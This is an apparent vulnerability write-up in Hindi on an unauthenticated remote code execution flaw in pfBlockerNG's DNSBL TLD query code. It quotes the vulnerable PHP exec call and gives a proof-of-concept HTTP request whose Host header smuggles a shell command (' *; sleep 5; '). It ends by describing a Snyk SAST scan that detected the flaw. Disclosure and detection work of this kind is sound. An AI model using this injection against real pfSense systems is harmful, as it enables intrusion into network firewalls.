
pfBlockerNg में DNSBL TLD क्वेरी फ़ंक्शन में अस्वच्छित इनपुट के माध्यम से अप्रमाणित रिमोट कोड निष्पादन के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, SAST डिटेक्शन विश्लेषण के साथ।
pfBlockerNG, pfBlocker की अगली पीढ़ी है जिसमें निम्नलिखित विशेषताएं हैं:
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
pfBlockerNg <2.1.4_27
बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE)
index.php के TLD ब्लॉक अनुभाग के लिए क्वेरी में HEADER होस्ट स्रोत से एक अशुद्ध/अनएस्केप्ड उपयोगकर्ता इनपुट d_query को PHP exec फ़ंक्शन सिंक में शामिल किया गया है।
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
/pfblockerng/www/index.php
// Query for a TLD Block
if (empty($pfb_query)) {
$idparts = explode('.', $query);
$idcnt = (count($idparts) -1);
for ($i=1; $i <= $idcnt; $i++) {
$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
if (!empty($match[0])) {
$pfb_query = 'DNSBL_TLD';
break;
}
}
}
pfsense वेब कंसोल तक HTTP पहुंच आवश्यक है
नमूना पेलोड: ' *; sleep 5; '
POC अनुरोध:
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2
मुझे pfBlockerNg पसंद है और मैं Di r00t के हालिया CVE-2022-31814 और बेहतरीन लेख https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ से प्रेरित हुआ और यह जानने को उत्सुक था कि क्या Snyk स्थैतिक एप्लिकेशन सुरक्षा परीक्षण (SAST) उपकरण इस कमजोरी का पता लगाएगा। इसलिए मैंने संबंधित index.php संस्करण 2.1.4_26 फ़ाइल डाउनलोड की और उसके विरुद्ध Snyk Code चलाया। निश्चित रूप से Snyk ने कमजोरी के साथ-साथ कुछ पंक्तियों बाद एक और समान रिपोर्टिंग का पता लगाया।